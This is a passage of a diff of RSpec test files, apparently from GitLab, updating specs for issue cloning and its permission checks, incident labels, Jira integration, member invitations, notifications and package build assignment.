+ end
+
+ context 'user is reporter only in old project' do
+ before do
+ old_project.add_reporter(user)
+ end
+
+ it { expect { clone }.to raise_error(StandardError, /permissions/) }
+ end
+
+ context 'user is reporter in one project and guest in another' do
+ before do
+ new_project.add_guest(user)
+ old_project.add_reporter(user)
+ end
+
+ it { expect { clone }.to raise_error(StandardError, /permissions/) }
+ end
+
+ context 'issue is not persisted' do
+ include_context 'user can clone issue'
+ let(:old_issue) { build(:issue, project: old_project, author: author) }
+
+ it { expect { clone }.to raise_error(StandardError, /permissions/) }
+ end
+ end
+ end
+end
diff --git a/spec/services/issues/create_service_spec.rb b/spec/services/issues/create_service_spec.rb
index eeac7fb9923..cc6a49fc4cf 100644
--- a/spec/services/issues/create_service_spec.rb
+++ b/spec/services/issues/create_service_spec.rb
@@ -63,6 +63,7 @@ RSpec.describe Issues::CreateService do
subject { issue }
it_behaves_like 'incident issue'
+ it_behaves_like 'has incident label'
it_behaves_like 'an incident management tracked event', :incident_management_incident_created
it 'does create an incident label' do
diff --git a/spec/services/issues/update_service_spec.rb b/spec/services/issues/update_service_spec.rb
index cfda27795c7..06a6a52bc41 100644
--- a/spec/services/issues/update_service_spec.rb
+++ b/spec/services/issues/update_service_spec.rb
@@ -99,31 +99,18 @@ RSpec.describe Issues::UpdateService, :mailer do
context 'when issue type is incident' do
let(:issue) { create(:incident, project: project) }
- it 'changes updates the severity' do
+ before do
update_issue(opts)
-
- expect(issue.severity).to eq('low')
end
- it_behaves_like 'incident issue' do
- before do
- update_issue(opts)
- end
- end
-
- context 'with existing incident label' do
- let_it_be(:incident_label) { create(:label, :incident, project: project) }
+ it_behaves_like 'incident issue'
- before do
- opts.delete(:label_ids) # don't override but retain existing labels
- issue.labels << incident_label
- end
+ it 'changes updates the severity' do
+ expect(issue.severity).to eq('low')
+ end
- it_behaves_like 'incident issue' do
- before do
- update_issue(opts)
- end
- end
+ it 'does not apply incident labels' do
+ expect(issue.labels).to match_array [label]
end
end
@@ -155,7 +142,6 @@ RSpec.describe Issues::UpdateService, :mailer do
context 'issue in incident type' do
let(:current_user) { user }
- let(:incident_label_attributes) { attributes_for(:label, :incident) }
before do
opts.merge!(issue_type: 'incident', confidential: true)
@@ -170,21 +156,6 @@ RSpec.describe Issues::UpdateService, :mailer do
subject
end
end
-
- it 'does create an incident label' do
- expect { subject }
- .to change { Label.where(incident_label_attributes).count }.by(1)
- end
-
- context 'when invalid' do
- before do
- opts.merge!(title: '')
- end
-
- it 'does not create an incident label prematurely' do
- expect { subject }.not_to change(Label, :count)
- end
- end
end
it 'updates open issue counter for assignees when issue is reassigned' do
@@ -968,6 +939,46 @@ RSpec.describe Issues::UpdateService, :mailer do
end
end
+ context 'clone an issue' do
+ context 'valid project' do
+ let(:target_project) { create(:project) }
+
+ before do
+ target_project.add_maintainer(user)
+ end
+
+ it 'calls the move service with the proper issue and project' do
+ clone_stub = instance_double(Issues::CloneService)
+ allow(Issues::CloneService).to receive(:new).and_return(clone_stub)
+ allow(clone_stub).to receive(:execute).with(issue, target_project, with_notes: nil).and_return(issue)
+
+ expect(clone_stub).to receive(:execute).with(issue, target_project, with_notes: nil)
+
+ update_issue(target_clone_project: target_project)
+ end
+ end
+ end
+
+ context 'clone an issue with notes' do
+ context 'valid project' do
+ let(:target_project) { create(:project) }
+
+ before do
+ target_project.add_maintainer(user)
+ end
+
+ it 'calls the move service with the proper issue and project' do
+ clone_stub = instance_double(Issues::CloneService)
+ allow(Issues::CloneService).to receive(:new).and_return(clone_stub)
+ allow(clone_stub).to receive(:execute).with(issue, target_project, with_notes: true).and_return(issue)
+
+ expect(clone_stub).to receive(:execute).with(issue, target_project, with_notes: true)
+
+ update_issue(target_clone_project: target_project, clone_with_notes: true)
+ end
+ end
+ end
+
context 'when moving an issue ' do
it 'raises an error for invalid move ids within a project' do
opts = { move_between_ids: [9000, non_existing_record_id] }
diff --git a/spec/services/jira/requests/projects/list_service_spec.rb b/spec/services/jira/requests/projects/list_service_spec.rb
index f7bcfa997df..0fff51b1226 100644
--- a/spec/services/jira/requests/projects/list_service_spec.rb
+++ b/spec/services/jira/requests/projects/list_service_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe Jira::Requests::Projects::ListService do
+ include AfterNextHelpers
+
let(:jira_service) { create(:jira_service) }
let(:params) { {} }
@@ -33,15 +35,17 @@ RSpec.describe Jira::Requests::Projects::ListService do
context 'with jira_service' do
context 'when validations and params are ok' do
- let(:client) { double(options: { site: 'https://jira.example.com' }) }
+ let(:response_headers) { { 'content-type' => 'application/json' } }
+ let(:response_body) { [].to_json }
+ let(:expected_url_pattern) { /.*jira.example.com\/rest\/api\/2\/project/ }
before do
- expect(service).to receive(:client).at_least(:once).and_return(client)
+ stub_request(:get, expected_url_pattern).to_return(status: 200, body: response_body, headers: response_headers)
end
context 'when the request to Jira returns an error' do
before do
- expect(client).to receive(:get).and_raise(Timeout::Error)
+ expect_next(JIRA::Client).to receive(:get).and_raise(Timeout::Error)
end
it 'returns an error response' do
@@ -54,10 +58,17 @@ RSpec.describe Jira::Requests::Projects::ListService do
end
end
- context 'when the request does not return any values' do
- before do
- expect(client).to receive(:get).and_return([])
+ context 'when jira runs on a subpath' do
+ let(:jira_service) { create(:jira_service, url: 'http://jira.example.com/jira') }
+ let(:expected_url_pattern) { /.*jira.example.com\/jira\/rest\/api\/2\/project/ }
+
+ it 'takes the subpath into account' do
+ expect(subject.success?).to be_truthy
end
+ end
+
+ context 'when the request does not return any values' do
+ let(:response_body) { [].to_json }
it 'returns a paylod with no projects returned' do
payload = subject.payload
@@ -69,9 +80,7 @@ RSpec.describe Jira::Requests::Projects::ListService do
end
context 'when the request returns values' do
- before do
- expect(client).to receive(:get).and_return([{ 'key' => 'pr1', 'name' => 'First Project' }, { 'key' => 'pr2', 'name' => 'Second Project' }])
- end
+ let(:response_body) { [{ 'key' => 'pr1', 'name' => 'First Project' }, { 'key' => 'pr2', 'name' => 'Second Project' }].to_json }
it 'returns a paylod with Jira projects' do
payload = subject.payload
diff --git a/spec/services/jira_connect/sync_service_spec.rb b/spec/services/jira_connect/sync_service_spec.rb
index 83088bb2e79..4b434348146 100644
--- a/spec/services/jira_connect/sync_service_spec.rb
+++ b/spec/services/jira_connect/sync_service_spec.rb
@@ -3,30 +3,23 @@
require 'spec_helper'
RSpec.describe JiraConnect::SyncService do
+ include AfterNextHelpers
+
describe '#execute' do
let_it_be(:project) { create(:project, :repository) }
- let(:branches) { [project.repository.find_branch('master')] }
- let(:commits) { project.commits_by(oids: %w[b83d6e3 5a62481]) }
- let(:merge_requests) { [create(:merge_request, source_project: project, target_project: project)] }
+ let(:client) { Atlassian::JiraConnect::Client }
+ let(:info) { { a: 'Some', b: 'Info' } }
subject do
- described_class.new(project).execute(commits: commits, branches: branches, merge_requests: merge_requests)
+ described_class.new(project).execute(**info)
end
before do
create(:jira_connect_subscription, namespace: project.namespace)
end
- def expect_jira_client_call(return_value = { 'status': 'success' })
- expect_next_instance_of(Atlassian::JiraConnect::Client) do |instance|
- expect(instance).to receive(:store_dev_info).with(
- project: project,
- commits: commits,
- branches: [instance_of(Gitlab::Git::Branch)],
- merge_requests: merge_requests,
- update_sequence_id: anything
- ).and_return(return_value)
- end
+ def store_info(return_values = [{ 'status': 'success' }])
+ receive(:send_info).with(project: project, **info).and_return(return_values)
end
def expect_log(type, message)
@@ -41,20 +34,22 @@ RSpec.describe JiraConnect::SyncService do
end
it 'calls Atlassian::JiraConnect::Client#store_dev_info and logs the response' do
- expect_jira_client_call
+ expect_next(client).to store_info
expect_log(:info, { 'status': 'success' })
subject
end
- context 'when request returns an error' do
+ context 'when a request returns an error' do
it 'logs the response as an error' do
- expect_jira_client_call({
- 'errorMessages' => ['some error message']
- })
+ expect_next(client).to store_info([
+ { 'errorMessages' => ['some error message'] },
+ { 'rejectedBuilds' => ['x'] }
+ ])
expect_log(:error, { 'errorMessages' => ['some error message'] })
+ expect_log(:error, { 'rejectedBuilds' => ['x'] })
subject
end
diff --git a/spec/services/members/approve_access_request_service_spec.rb b/spec/services/members/approve_access_request_service_spec.rb
index e6a94fdaf84..f7fbac612ee 100644
--- a/spec/services/members/approve_access_request_service_spec.rb
+++ b/spec/services/members/approve_access_request_service_spec.rb
@@ -12,23 +12,23 @@ RSpec.describe Members::ApproveAccessRequestService do
shared_examples 'a service raising ActiveRecord::RecordNotFound' do
it 'raises ActiveRecord::RecordNotFound' do
- expect { described_class.new(current_user).execute(access_requester, opts) }.to raise_error(ActiveRecord::RecordNotFound)
+ expect { described_class.new(current_user).execute(access_requester, **opts) }.to raise_error(ActiveRecord::RecordNotFound)
end
end
shared_examples 'a service raising Gitlab::Access::AccessDeniedError' do
it 'raises Gitlab::Access::AccessDeniedError' do
- expect { described_class.new(current_user).execute(access_requester, opts) }.to raise_error(Gitlab::Access::AccessDeniedError)
+ expect { described_class.new(current_user).execute(access_requester, **opts) }.to raise_error(Gitlab::Access::AccessDeniedError)
end
end
shared_examples 'a service approving an access request' do
it 'succeeds' do
- expect { described_class.new(current_user).execute(access_requester, opts) }.to change { source.requesters.count }.by(-1)
+ expect { described_class.new(current_user).execute(access_requester, **opts) }.to change { source.requesters.count }.by(-1)
end
it 'returns a <Source>Member' do
- member = described_class.new(current_user).execute(access_requester, opts)
+ member = described_class.new(current_user).execute(access_requester, **opts)
expect(member).to be_a "#{source.class}Member".constantize
expect(member.requested_at).to be_nil
@@ -36,7 +36,7 @@ RSpec.describe Members::ApproveAccessRequestService do
context 'with a custom access level' do
it 'returns a ProjectMember with the custom access level' do
- member = described_class.new(current_user, access_level: Gitlab::Access::MAINTAINER).execute(access_requester, opts)
+ member = described_class.new(current_user, access_level: Gitlab::Access::MAINTAINER).execute(access_requester, **opts)
expect(member.access_level).to eq(Gitlab::Access::MAINTAINER)
end
diff --git a/spec/services/members/create_service_spec.rb b/spec/services/members/create_service_spec.rb
index 00b5ff59e48..e8a4a798b20 100644
--- a/spec/services/members/create_service_spec.rb
+++ b/spec/services/members/create_service_spec.rb
@@ -3,59 +3,68 @@
require 'spec_helper'
RSpec.describe Members::CreateService do
- let(:project) { create(:project) }
- let(:user) { create(:user) }
- let(:project_user) { create(:user) }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project_user) { create(:user) }
+ let_it_be(:user_ids) { project_user.id.to_s }
+ let_it_be(:access_level) { Gitlab::Access::GUEST }
+ let(:params) { { user_ids: user_ids, access_level: access_level } }
+
+ subject(:execute_service) { described_class.new(user, params).execute(project) }
before do
project.add_maintainer(user)
+ allow(Namespaces::OnboardingUserAddedWorker).to receive(:idempotent?).and_return(false)
end
- it 'adds user to members' do
- params = { user_ids: project_user.id.to_s, access_level: Gitlab::Access::GUEST }
- result = described_class.new(user, params).execute(project)
-
- expect(result[:status]).to eq(:success)
- expect(project.users).to include project_user
+ context 'when passing valid parameters' do
+ it 'adds a user to members' do
+ expect(execute_service[:status]).to eq(:success)
+ expect(project.users).to include project_user
+ expect(Namespaces::OnboardingUserAddedWorker.jobs.last['args'][0]).to eq(project.id)
+ end
end
- it 'adds no user to members' do
- params = { user_ids: '', access_level: Gitlab::Access::GUEST }
- result = described_class.new(user, params).execute(project)
+ context 'when passing no user ids' do
+ let(:user_ids) { '' }
- expect(result[:status]).to eq(:error)
- expect(result[:message]).to be_present
- expect(project.users).not_to include project_user
+ it 'does not add a member' do
+ expect(execute_service[:status]).to eq(:error)
+ expect(execute_service[:message]).to be_present
+ expect(project.users).not_to include project_user
+ expect(Namespaces::OnboardingUserAddedWorker.jobs.size).to eq(0)
+ end
end
- it 'limits the number of users to 100' do
- user_ids = 1.upto(101).to_a.join(',')
- params = { user_ids: user_ids, access_level: Gitlab::Access::GUEST }
+ context 'when passing many user ids' do
+ let(:user_ids) { 1.upto(101).to_a.join(',') }
- result = described_class.new(user, params).execute(project)
-
- expect(result[:status]).to eq(:error)
- expect(result[:message]).to be_present
- expect(project.users).not_to include project_user
+ it 'limits the number of users to 100' do
+ expect(execute_service[:status]).to eq(:error)
+ expect(execute_service[:message]).to be_present
+ expect(project.users).not_to include project_user
+ expect(Namespaces::OnboardingUserAddedWorker.jobs.size).to eq(0)
+ end
end
- it 'does not add an invalid member' do
- params = { user_ids: project_user.id.to_s, access_level: -1 }
- result = described_class.new(user, params).execute(project)
+ context 'when passing an invalid access level' do
+ let(:access_level) { -1 }
- expect(result[:status]).to eq(:error)
- expect(result[:message]).to include("#{project_user.username}: Access level is not included in the list")
- expect(project.users).not_to include project_user
+ it 'does not add a member' do
+ expect(execute_service[:status]).to eq(:error)
+ expect(execute_service[:message]).to include("#{project_user.username}: Access level is not included in the list")
+ expect(project.users).not_to include project_user
+ expect(Namespaces::OnboardingUserAddedWorker.jobs.size).to eq(0)
+ end
end
- it 'does not add a member with an existing invite' do
- invited_member = create(:project_member, :invited, project: project)
-
- params = { user_ids: invited_member.invite_email,
- access_level: Gitlab::Access::GUEST }
- result = described_class.new(user, params).execute(project)
+ context 'when passing an existing invite user id' do
+ let(:user_ids) { create(:project_member, :invited, project: project).invite_email }
- expect(result[:status]).to eq(:error)
- expect(result[:message]).to eq('Invite email has already been taken')
+ it 'does not add a member' do
+ expect(execute_service[:status]).to eq(:error)
+ expect(execute_service[:message]).to eq('Invite email has already been taken')
+ expect(Namespaces::OnboardingUserAddedWorker.jobs.size).to eq(0)
+ end
end
end
diff --git a/spec/services/members/invitation_reminder_email_service_spec.rb b/spec/services/members/invitation_reminder_email_service_spec.rb
index 88280869476..768a8719d54 100644
--- a/spec/services/members/invitation_reminder_email_service_spec.rb
+++ b/spec/services/members/invitation_reminder_email_service_spec.rb
@@ -9,67 +9,49 @@ RSpec.describe Members::InvitationReminderEmailService do
let_it_be(:frozen_time) { Date.today.beginning_of_day }
let_it_be(:invitation) { build(:group_member, :invited, created_at: frozen_time) }
- context 'when the experiment is disabled' do
- before do
- allow(Gitlab::Experimentation).to receive(:enabled_for_attribute?).and_return(false)
- invitation.expires_at = frozen_time + 2.days
- end
-
- it 'does not send an invitation' do
- travel_to(frozen_time + 1.day) do
- expect(invitation).not_to receive(:send_invitation_reminder)
-
- subject
- end
- end
+ before do
+ invitation.expires_at = frozen_time + expires_at_days.days if expires_at_days
end
- context 'when the experiment is enabled' do
- before do
- allow(Gitlab::Experimentation).to receive(:enabled_for_attribute?).and_return(true)
- invitation.expires_at = frozen_time + expires_at_days.days if expires_at_days
- end
-
- using RSpec::Parameterized::TableSyntax
-
- where(:expires_at_days, :send_reminder_at_days) do
- 0 | []
- 1 | []
- 2 | [1]
- 3 | [1, 2]
- 4 | [1, 2, 3]
- 5 | [1, 2, 4]
- 6 | [1, 3, 5]
- 7 | [1, 3, 5]
- 8 | [2, 3, 6]
- 9 | [2, 4, 7]
- 10 | [2, 4, 8]
- 11 | [2, 4, 8]
- 12 | [2, 5, 9]
- 13 | [2, 5, 10]
- 14 | [2, 5, 10]
- 15 | [2, 5, 10]
- nil | [2, 5, 10]
- end
-
- with_them do
- # Create an invitation today with an expiration date from 0 to 10 days in the future or without an expiration date
- # We chose 10 days here, because we fetch invitations that were created at most 10 days ago.
- (0..10).each do |day|
- it 'sends an invitation reminder only on the expected days' do
- next if day > (expires_at_days || 10) # We don't need to test after the invitation has already expired
-
- # We are traveling in a loop from today to 10 days from now
- travel_to(frozen_time + day.days) do
- # Given an expiration date and the number of days after the creation of the invitation based on the current day in the loop, a reminder may be sent
- if (reminder_index = send_reminder_at_days.index(day))
- expect(invitation).to receive(:send_invitation_reminder).with(reminder_index)
- else
- expect(invitation).not_to receive(:send_invitation_reminder)
- end
+ using RSpec::Parameterized::TableSyntax
+
+ where(:expires_at_days, :send_reminder_at_days) do
+ 0 | []
+ 1 | []
+ 2 | [1]
+ 3 | [1, 2]
+ 4 | [1, 2, 3]
+ 5 | [1, 2, 4]
+ 6 | [1, 3, 5]
+ 7 | [1, 3, 5]
+ 8 | [2, 3, 6]
+ 9 | [2, 4, 7]
+ 10 | [2, 4, 8]
+ 11 | [2, 4, 8]
+ 12 | [2, 5, 9]
+ 13 | [2, 5, 10]
+ 14 | [2, 5, 10]
+ 15 | [2, 5, 10]
+ nil | [2, 5, 10]
+ end
- subject
+ with_them do
+ # Create an invitation today with an expiration date from 0 to 10 days in the future or without an expiration date
+ # We chose 10 days here, because we fetch invitations that were created at most 10 days ago.
+ (0..10).each do |day|
+ it 'sends an invitation reminder only on the expected days' do
+ next if day > (expires_at_days || 10) # We don't need to test after the invitation has already expired
+
+ # We are traveling in a loop from today to 10 days from now
+ travel_to(frozen_time + day.days) do
+ # Given an expiration date and the number of days after the creation of the invitation based on the current day in the loop, a reminder may be sent
+ if (reminder_index = send_reminder_at_days.index(day))
+ expect(invitation).to receive(:send_invitation_reminder).with(reminder_index)
+ else
+ expect(invitation).not_to receive(:send_invitation_reminder)
end
+
+ subject
end
end
end
diff --git a/spec/services/merge_requests/after_create_service_spec.rb b/spec/services/merge_requests/after_create_service_spec.rb
index 840b7bc0a1c..69bab3b1ea4 100644
--- a/spec/services/merge_requests/after_create_service_spec.rb
+++ b/spec/services/merge_requests/after_create_service_spec.rb
@@ -18,32 +18,34 @@ RSpec.describe MergeRequests::AfterCreateService do
allow(after_create_service).to receive(:notification_service).and_return(notification_service)
end
+ subject(:execute_service) { after_create_service.execute(merge_request) }
+
it 'creates a merge request open event' do
expect(event_service)
.to receive(:open_mr).with(merge_request, merge_request.author)
- after_create_service.execute(merge_request)
+ execute_service
end
it 'creates a new merge request notification' do
expect(notification_service)
.to receive(:new_merge_request).with(merge_request, merge_request.author)
- after_create_service.execute(merge_request)
+ execute_service
end
it 'writes diffs to the cache' do
expect(merge_request)
.to receive_message_chain(:diffs, :write_cache)
- after_create_service.execute(merge_request)
+ execute_service
end
it 'creates cross references' do
expect(merge_request)
.to receive(:create_cross_references!).with(merge_request.author)
- after_create_service.execute(merge_request)
+ execute_service
end
it 'creates a pipeline and updates the HEAD pipeline' do
@@ -51,7 +53,14 @@ RSpec.describe MergeRequests::AfterCreateService do
.to receive(:create_pipeline_for).with(merge_request, merge_request.author)
expect(merge_request).to receive(:update_head_pipeline)
- after_create_service.execute(merge_request)
+ execute_service
+ end
+
+ it 'records a namespace onboarding progress action' do
+ expect(NamespaceOnboardingAction).to receive(:create_action)
+ .with(merge_request.target_project.namespace, :merge_request_created).and_call_original
+
+ expect { execute_service }.to change(NamespaceOnboardingAction, :count).by(1)
end
end
end
diff --git a/spec/services/merge_requests/base_service_spec.rb b/spec/services/merge_requests/base_service_spec.rb
index bb7b70f1ba2..83431105545 100644
--- a/spec/services/merge_requests/base_service_spec.rb
+++ b/spec/services/merge_requests/base_service_spec.rb
@@ -20,7 +20,8 @@ RSpec.describe MergeRequests::BaseService do
describe '#execute_hooks' do
shared_examples 'enqueues Jira sync worker' do
- it do
+ specify :aggregate_failures do
+ expect(JiraConnect::SyncMergeRequestWorker).to receive(:perform_async).with(kind_of(Numeric), kind_of(Numeric)).and_call_original
Sidekiq::Testing.fake! do
expect { subject.execute }.to change(JiraConnect::SyncMergeRequestWorker.jobs, :size).by(1)
end
diff --git a/spec/services/metrics/dashboard/clone_dashboard_service_spec.rb b/spec/services/metrics/dashboard/clone_dashboard_service_spec.rb
index 728b343b801..b326fc1726d 100644
--- a/spec/services/metrics/dashboard/clone_dashboard_service_spec.rb
+++ b/spec/services/metrics/dashboard/clone_dashboard_service_spec.rb
@@ -146,7 +146,7 @@ RSpec.describe Metrics::Dashboard::CloneDashboardService, :use_clean_rails_memor
it 'extends dashboard template path to absolute url' do
allow(::Files::CreateService).to receive(:new).and_return(double(execute: { status: :success }))
- expect(File).to receive(:read).with(Rails.root.join('config/prometheus/common_metrics.yml')).and_return('')
+ expect_file_read(Rails.root.join('config/prometheus/common_metrics.yml'), content: '')
service_call
end
diff --git a/spec/services/notification_service_spec.rb b/spec/services/notification_service_spec.rb
index f9a89c6281e..9431c023850 100644
--- a/spec/services/notification_service_spec.rb
+++ b/spec/services/notification_service_spec.rb
@@ -353,7 +353,7 @@ RSpec.describe NotificationService, :mailer do
context 'a service-desk issue' do
before do
- issue.update!(service_desk_reply_to: 'service.desk@example.com')
+ issue.update!(external_author: 'service.desk@example.com')
project.update!(service_desk_enabled: true)
end
@@ -1549,6 +1549,37 @@ RSpec.describe NotificationService, :mailer do
end
end
+ describe '#issue_cloned' do
+ let(:new_issue) { create(:issue) }
+
+ it 'sends email to issue notification recipients' do
+ notification.issue_cloned(issue, new_issue, @u_disabled)
+
+ should_email(issue.assignees.first)
+ should_email(issue.author)
+ should_email(@u_watcher)
+ should_email(@u_guest_watcher)
+ should_email(@u_participant_mentioned)
+ should_email(@subscriber)
+ should_email(@watcher_and_subscriber)
+ should_not_email(@unsubscriber)
+ should_not_email(@u_participating)
+ should_not_email(@u_disabled)
+ should_not_email(@u_lazy_participant)
+ end
+
+ it_behaves_like 'participating notifications' do
+ let(:participant) { create(:user, username: 'user-participant') }
+ let(:issuable) { issue }
+ let(:notification_trigger) { notification.issue_cloned(issue, new_issue, @u_disabled) }
+ end
+
+ it_behaves_like 'project emails are disabled' do
+ let(:notification_target) { issue }
+ let(:notification_trigger) { notification.issue_cloned(issue, new_issue, @u_disabled) }
+ end
+ end
+
describe '#issue_due' do
before do
issue.update!(due_date: Date.today)
@@ -2326,6 +2357,20 @@ RSpec.describe NotificationService, :mailer do
end
end
+ describe '#user_admin_rejection', :deliver_mails_inline do
+ let_it_be(:user) { create(:user, :blocked_pending_approval) }
+
+ before do
+ reset_delivered_emails!
+ end
+
+ it 'sends the user a rejection email' do
+ notification.user_admin_rejection(user.name, user.email)
+
+ should_only_email(user)
+ end
+ end
+
describe 'GroupMember', :deliver_mails_inline do
let(:added_user) { create(:user) }
diff --git a/spec/services/onboarding_progress_service_spec.rb b/spec/services/onboarding_progress_service_spec.rb
new file mode 100644
index 00000000000..59b6083d38a
--- /dev/null
+++ b/spec/services/onboarding_progress_service_spec.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe OnboardingProgressService do
+ describe '#execute' do
+ let(:namespace) { create(:namespace, parent: root_namespace) }
+
+ subject(:execute_service) { described_class.new(namespace).execute(action: :subscription_created) }
+
+ context 'when the namespace is a root' do
+ let(:root_namespace) { nil }
+
+ it 'records a namespace onboarding progress action for the given namespace' do
+ expect(NamespaceOnboardingAction).to receive(:create_action)
+ .with(namespace, :subscription_created).and_call_original
+
+ expect { execute_service }.to change(NamespaceOnboardingAction, :count).by(1)
+ end
+ end
+
+ context 'when the namespace is not the root' do
+ let_it_be(:root_namespace) { build(:namespace) }
+
+ it 'records a namespace onboarding progress action for the root namespace' do
+ expect(NamespaceOnboardingAction).to receive(:create_action)
+ .with(root_namespace, :subscription_created).and_call_original
+
+ expect { execute_service }.to change(NamespaceOnboardingAction, :count).by(1)
+ end
+ end
+ end
+end
diff --git a/spec/services/packages/composer/create_package_service_spec.rb b/spec/services/packages/composer/create_package_service_spec.rb
index a1fe9a1b918..d10356cfda7 100644
--- a/spec/services/packages/composer/create_package_service_spec.rb
+++ b/spec/services/packages/composer/create_package_service_spec.rb
@@ -41,6 +41,8 @@ RSpec.describe Packages::Composer::CreatePackageService do
it_behaves_like 'assigns the package creator' do
let(:package) { created_package }
end
+
+ it_behaves_like 'assigns build to package'
end
context 'with a tag' do
@@ -62,6 +64,8 @@ RSpec.describe Packages::Composer::CreatePackageService do
it_behaves_like 'assigns the package creator' do
let(:package) { created_package }
end
+
+ it_behaves_like 'assigns build to package'
end
end
diff --git a/spec/services/packages/conan/create_package_file_service_spec.rb b/spec/services/packages/conan/create_package_file_service_spec.rb
index bd6a91c883a..e655b8d1f9e 100644
--- a/spec/services/packages/conan/create_package_file_service_spec.rb
+++ b/spec/services/packages/conan/create_package_file_service_spec.rb
@@ -5,11 +5,12 @@ RSpec.describe Packages::Conan::CreatePackageFileService do
include WorkhorseHelpers
let_it_be(:package) { create(:conan_package) }
+ let_it_be(:user) { create(:user) }
describe '#execute' do
let(:file_name) { 'foo.tgz' }
- subject { described_class.new(package, file, params) }
+ subject { described_class.new(package, file, params).execute }
shared_examples 'a valid package_file' do
let(:params) do
@@ -27,7 +28,7 @@ RSpec.describe Packages::Conan::CreatePackageFileService do
end
it 'creates a new package file' do
- package_file = subject.execute
+ package_file = subject
expect(package_file).to be_valid
expect(package_file.file_name).to eq(file_name)
@@ -40,6 +41,8 @@ RSpec.describe Packages::Conan::CreatePackageFileService do
expect(package_file.conan_file_metadatum.conan_file_type).to eq('package_file')
expect(package_file.file.read).to eq('content')
end
+
+ it_behaves_like 'assigns build to package file'
end
shared_examples 'a valid recipe_file' do
@@ -56,7 +59,7 @@ RSpec.describe Packages::Conan::CreatePackageFileService do
end
it 'creates a new recipe file' do
- package_file = subject.execute
+ package_file = subject
expect(package_file).to be_valid
expect(package_file.file_name).to eq(file_name)
@@ -69,6 +72,8 @@ RSpec.describe Packages::Conan::CreatePackageFileService do
expect(package_file.conan_file_metadatum.conan_file_type).to eq('recipe_file')
expect(package_file.file.read).to eq('content')
end
+
+ it_behaves_like 'assigns build to package file'
end
context 'with temp file' do
@@ -123,7 +128,7 @@ RSpec.describe Packages::Conan::CreatePackageFileService do
end
it 'raises an error' do
- expect { subject.execute }.to raise_error(ActiveRecord::RecordInvalid)
+ expect { subject }.to raise_error(ActiveRecord::RecordInvalid)
end
end
end
diff --git a/spec/services/packages/conan/create_package_service_spec.rb b/spec/services/packages/conan/create_package_service_spec.rb
index b217e570aba..ca783475503 100644
--- a/spec/services/packages/conan/create_package_service_spec.rb
+++ b/spec/services/packages/conan/create_package_service_spec.rb
@@ -30,6 +30,7 @@ RSpec.describe Packages::Conan::CreatePackageService do
end
it_behaves_like 'assigns the package creator'
+ it_behaves_like 'assigns build to package'
end
context 'invalid params' do
diff --git a/spec/services/packages/create_event_service_spec.rb b/spec/services/packages/create_event_service_spec.rb
index 4db7687bb24..f581d704087 100644
--- a/spec/services/packages/create_event_service_spec.rb
+++ b/spec/services/packages/create_event_service_spec.rb
@@ -70,12 +70,34 @@ RSpec.describe Packages::CreateEventService do
end
it 'tracks the event' do
+ expect(::Gitlab::UsageDataCounters::GuestPackageEventCounter).not_to receive(:count)
expect(::Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:track_event).with(user.id, Packages::Event.allowed_event_name(expected_scope, event_name, originator_type))
subject
end
end
+ shared_examples 'redis package guest event creation' do |originator_type, expected_scope|
+ context 'with feature flag disabled' do
+ before do
+ stub_feature_flags(collect_package_events_redis: false)
+ end
+
+ it 'does not track the event' do
+ expect(::Gitlab::UsageDataCounters::GuestPackageEventCounter).not_to receive(:count)
+
+ subject
+ end
+ end
+
+ it 'tracks the event' do
+ expect(::Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event)
+ expect(::Gitlab::UsageDataCounters::GuestPackageEventCounter).to receive(:count).with(Packages::Event.allowed_event_name(expected_scope, event_name, originator_type))
+
+ subject
+ end
+ end
+
context 'with a user' do
let(:user) { create(:user) }
@@ -94,6 +116,7 @@ RSpec.describe Packages::CreateEventService do
let(:user) { nil }
it_behaves_like 'db package event creation', 'guest', 'container'
+ it_behaves_like 'redis package guest event creation', 'guest', 'container'
end
context 'with a package as scope' do
@@ -103,6 +126,7 @@ RSpec.describe Packages::CreateEventService do
let(:user) { nil }
it_behaves_like 'db package event creation', 'guest', 'npm'
+ it_behaves_like 'redis package guest event creation', 'guest', 'npm'
end
context 'with user' do
diff --git a/spec/services/packages/create_package_file_service_spec.rb b/spec/services/packages/create_package_file_service_spec.rb
index 12fd1039d30..e4b4b15ebf9 100644
--- a/spec/services/packages/create_package_file_service_spec.rb
+++ b/spec/services/packages/create_package_file_service_spec.rb
@@ -4,10 +4,11 @@ require 'spec_helper'
RSpec.describe Packages::CreatePackageFileService do
let_it_be(:package) { create(:maven_package) }
let_it_be(:user) { create(:user) }
-
- subject { described_class.new(package, params) }
+ let(:service) { described_class.new(package, params) }
describe '#execute' do
+ subject { service.execute }
+
context 'with valid params' do
let(:params) do
{
@@ -17,11 +18,13 @@ RSpec.describe Packages::CreatePackageFileService do
end
it 'creates a new package file' do
- package_file = subject.execute
+ package_file = subject
expect(package_file).to be_valid
expect(package_file.file_name).to eq('foo.jar')
end
+
+ it_behaves_like 'assigns build to package file'
end
context 'file is missing' do
@@ -32,17 +35,7 @@ RSpec.describe Packages::CreatePackageFileService do
end
it 'raises an error' do
- expect { subject.execute }.to raise_error(ActiveRecord::RecordInvalid)
- end
- end
-
- context 'with a build' do
- let_it_be(:pipeline) { create(:ci_pipeline, user: user) }
- let(:build) { double('build', pipeline: pipeline) }
- let(:params) { { file: Tempfile.new, file_name: 'foo.jar', build: build } }
-
- it 'creates a build_info' do
- expect { subject.execute }.to change { Packages::PackageFileBuildInfo.count }.by(1)
+ expect { subject }.to raise_error(ActiveRecord::RecordInvalid)
end
end
end
diff --git a/spec/services/packages/generic/create_package_file_service_spec.rb b/spec/services/packages/generic/create_package_file_service_spec.rb
index 907483e3d7f..816e728c342 100644
--- a/spec/services/packages/generic/create_package_file_service_spec.rb
+++ b/spec/services/packages/generic/create_package_file_service_spec.rb
@@ -23,6 +23,8 @@ RSpec.describe Packages::Generic::CreatePackageFileService do
}
end
+ subject { described_class.new(project, user, params).execute }
+
before do
FileUtils.touch(temp_file)
end
@@ -41,9 +43,7 @@ RSpec.describe Packages::Generic::CreatePackageFileService do
expect(::Packages::Generic::FindOrCreatePackageService).to receive(:new).with(project, user, package_params).and_return(package_service)
expect(package_service).to receive(:execute).and_return(package)
- service = described_class.new(project, user, params)
-
- expect { service.execute }.to change { package.package_files.count }.by(1)
